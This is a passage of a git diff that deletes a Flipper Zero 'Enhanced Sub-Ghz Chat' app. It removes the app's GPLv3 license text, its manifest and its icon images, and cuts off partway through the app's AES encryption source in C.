not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/esubghz_chat/application.fam b/applications/external/esubghz_chat/application.fam deleted file mode 100644 index 70b8c6c70..000000000 --- a/applications/external/esubghz_chat/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="esubghz_chat", - name="Enhanced Sub-Ghz Chat", - apptype=FlipperAppType.EXTERNAL, - entry_point="esubghz_chat", - requires=[ - "gui", - "subghz", - ], - stack_size=8 * 1024, - fap_category="Sub-GHz", - fap_icon="assets/chat_10px.png", - fap_icon_assets="assets", - fap_icon_assets_symbol="esubghz_chat", -) diff --git a/applications/external/esubghz_chat/assets/Loading_24.png b/applications/external/esubghz_chat/assets/Loading_24.png deleted file mode 100644 index 93a59fe681d26795d0db342a0c55ba42fc2c7529..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3649 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 LTALIbyM_M?u*zuP diff --git a/applications/external/esubghz_chat/assets/Nfc_14px.png b/applications/external/esubghz_chat/assets/Nfc_14px.png deleted file mode 100644 index 9e43a3291dacd80032633411d69b239dbfb36c2b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 159 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()XMsm#F#`j)5C}6~x?A@LD9B#o z>Fdh=oI`-$+`4zof4F%}28J29*~C-V}>@$__Y4ABUl z+V9E7puoX=`@j7zHsKzHJefoZ4b@JSB2O+|D+~UdLhiWU2HoSvr{x)bz08_W&Af)m oGG`q_SP}oXe4D?S*Pa{j>YT8D=KH8e3TP;Ur>mdKI;Vst0ORE<>&pI|Lx5k8XPw~ue?XxCPZ!4!jq_`RPIECBaGZMazkX+I z^6Rs^ShdoeLZ^xy-XgP+yMbLmauUxA&ekJ5Z-f{xsHm^Y`B{oT2;pM-# kd<9ozw0Et$Gpm9jt506_VBNM8K(iSFdh=oI`-$j7NuyeK}A_$bP0l+XkKDl#6^ diff --git a/applications/external/esubghz_chat/assets/keyboard_14px.png b/applications/external/esubghz_chat/assets/keyboard_14px.png deleted file mode 100644 index b84309c5ac04939328a5cc1c500f53aeb9441d17..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 146 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uo3?xpCmtgUBM;b3Mc3}9WZerf^8Mg~t;KbLh*2~7ZQSR-Bl diff --git a/applications/external/esubghz_chat/assets/u2f_14px.png b/applications/external/esubghz_chat/assets/u2f_14px.png deleted file mode 100644 index d65bacea9704fd5bb33757acc97162f97c5ee0d0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 180 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa&H|6fVg?3oVGw3ym^DWND9B#o z>Fdh=oI`-$Li1{_%f*j(Va;+M7w{nVYu@2?}~^ zL?@ked(L(s^vudRzQHlq7TEdSv*P_&mef4=xml`LqUwaew<#}tdfxY_)*k1+cYo?_ YZbnPaf?10tfyOg> 8); \ - (b)[(i) + 2] = (uchar)((n) >> 16); \ - (b)[(i) + 3] = (uchar)((n) >> 24); \ - } - -/* - * AES forward and reverse encryption round processing macros - */ -#define AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \ - { \ - X0 = *RK++ ^ FT0[(Y0)&0xFF] ^ FT1[(Y1 >> 8) & 0xFF] ^ FT2[(Y2 >> 16) & 0xFF] ^ \ - FT3[(Y3 >> 24) & 0xFF]; \ - \ - X1 = *RK++ ^ FT0[(Y1)&0xFF] ^ FT1[(Y2 >> 8) & 0xFF] ^ FT2[(Y3 >> 16) & 0xFF] ^ \ - FT3[(Y0 >> 24) & 0xFF]; \ - \ - X2 = *RK++ ^ FT0[(Y2)&0xFF] ^ FT1[(Y3 >> 8) & 0xFF] ^ FT2[(Y0 >> 16) & 0xFF] ^ \ - FT3[(Y1 >> 24) & 0xFF]; \ - \ - X3 = *RK++ ^ FT0[(Y3)&0xFF] ^ FT1[(Y0 >> 8) & 0xFF] ^ FT2[(Y1 >> 16) & 0xFF] ^ \ - FT3[(Y2 >> 24) & 0xFF]; \ - } - -#define AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \ - { \ - X0 = *RK++ ^ RT0[(Y0)&0xFF] ^ RT1[(Y3 >> 8) & 0xFF] ^ RT2[(Y2 >> 16) & 0xFF] ^ \ - RT3[(Y1 >> 24) & 0xFF]; \ - \ - X1 = *RK++ ^ RT0[(Y1)&0xFF] ^ RT1[(Y0 >> 8) & 0xFF] ^ RT2[(Y3 >> 16) & 0xFF] ^ \ - RT3[(Y2 >> 24) & 0xFF]; \ - \ - X2 = *RK++ ^ RT0[(Y2)&0xFF] ^ RT1[(Y1 >> 8) & 0xFF] ^ RT2[(Y0 >> 16) & 0xFF] ^ \ - RT3[(Y3 >> 24) & 0xFF]; \ - \ - X3 = *RK++ ^ RT0[(Y3)&0xFF] ^ RT1[(Y2 >> 8) & 0xFF] ^ RT2[(Y1 >> 16) & 0xFF] ^ \ - RT3[(Y0 >> 24) & 0xFF]; \ - } - -/* - * These macros improve the readability of the key - * generation initialization code by collapsing - * repetitive common operations into logical pieces. - */ -#define ROTL8(x) ((x << 8) & 0xFFFFFFFF) | (x >> 24) -#define XTIME(x) ((x << 1) ^ ((x & 0x80) ? 0x1B : 0x00)) -#define MUL(x, y) ((x && y) ? pow[(log[x] + log[y]) % 255] : 0) -#define MIX(x, y) \ - { \ - y = ((y << 1) | (y >> 7)) & 0xFF; \ - x ^= y; \ - } -#define CPY128 \ - { \ - *RK++ = *SK++; \ - *RK++ = *SK++; \ - *RK++ = *SK++; \ - *RK++ = *SK++; \ - } - -/****************************************************************************** - * - * AES_INIT_KEYGEN_TABLES - * - * Fills the AES key expansion tables allocated above with their static - * data. This is not "per key" data, but static system-wide read-only - * table data. THIS FUNCTION IS NOT THREAD SAFE. It must be called once - * at system initialization to setup the tables for all subsequent use. - * - ******************************************************************************/ -void aes_init_keygen_tables(void) { - int i, x, y, z; // general purpose iteration and computation locals - int pow[256]; - int log[256]; - - if(aes_tables_inited) return; - - // fill the 'pow' and 'log' tables over GF(2^8) - for(i = 0, x = 1; i < 256; i++) { - pow[i] = x; - log[x] = i; - x = (x ^ XTIME(x)) & 0xFF; - } - // compute the round constants - for(i = 0, x = 1; i < 10; i++) { - RCON[i] = (uint32_t)x; - x = XTIME(x) & 0xFF; - } - // fill the forward and reverse substitution boxes - FSb[0x00] = 0x63; -#if AES_DECRYPTION // whether AES decryption is supported - RSb[0x63] = 0x00; -#endif /* AES_DECRYPTION */ - - for(i = 1; i < 256; i++) { - x = y = pow[255 - log[i]]; - MIX(x, y); - MIX(x, y); - MIX(x, y); - MIX(x, y); - FSb[i] = (uchar)(x ^= 0x63); -#if AES_DECRYPTION // whether AES decryption is supported - RSb[x] = (uchar)i; -#endif /* AES_DECRYPTION */ - } - // generate the forward and reverse key expansion tables - for(i = 0; i < 256; i++) { - x = FSb[i]; - y = XTIME(x) & 0xFF; - z = (y ^ x) & 0xFF; - - FT0[i] = ((uint32_t)y) ^ ((uint32_t)x << 8) ^ ((uint32_t)x << 16) ^ ((uint32_t)z << 24); - - FT1[i] = ROTL8(FT0[i]); - FT2[i] = ROTL8(FT1[i]); - FT3[i] = ROTL8(FT2[i]); - -#if AES_DECRYPTION // whether AES decryption is supported - x = RSb[i]; - - RT0[i] = ((uint32_t)MUL(0x0E, x)) ^ ((uint32_t)MUL(0x09, x) << 8) ^ - ((uint32_t)MUL(0x0D, x) << 16) ^ ((uint32_t)MUL(0x0B, x) << 24); - - RT1[i] = ROTL8(RT0[i]); - RT2[i] = ROTL8(RT1[i]); - RT3[i] = ROTL8(RT2[i]); -#endif /* AES_DECRYPTION */ - } - aes_tables_inited = 1; // flag that the tables have been generated -} // to permit subsequent use of the AES cipher - -/****************************************************************************** - * - * AES_SET_ENCRYPTION_KEY - * - * This is called by 'aes_setkey' when we're establishing a key for - * subsequent encryption. We give it a pointer to the encryption - * context, a pointer to the key, and the key's length in bytes. - * Valid lengths are: 16, 24 or 32 bytes (128, 192, 256 bits). - * - ******************************************************************************/ -int aes_set_encryption_key(aes_context* ctx, const uchar* key, uint keysize) { - uint i; // general purpose iteration local - uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer - - for(i = 0; i < (keysize >> 2); i++) { - GET_UINT32_LE(RK[i], key, i << 2); - } - - switch(ctx->rounds) { - case 10: - for(i = 0; i < 10; i++, RK += 4) { - RK[4] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[3] >> 8) & 0xFF]) ^ - ((uint32_t)FSb[(RK[3] >> 16) & 0xFF] << 8) ^ - ((uint32_t)FSb[(RK[3] >> 24) & 0xFF] << 16) ^ - ((uint32_t)FSb[(RK[3]) & 0xFF] << 24); - - RK[5] = RK[1] ^ RK[4]; - RK[6] = RK[2] ^ RK[5]; - RK[7] = RK[3] ^ RK[6]; - } - break; - - case 12: - for(i = 0; i < 8; i++, 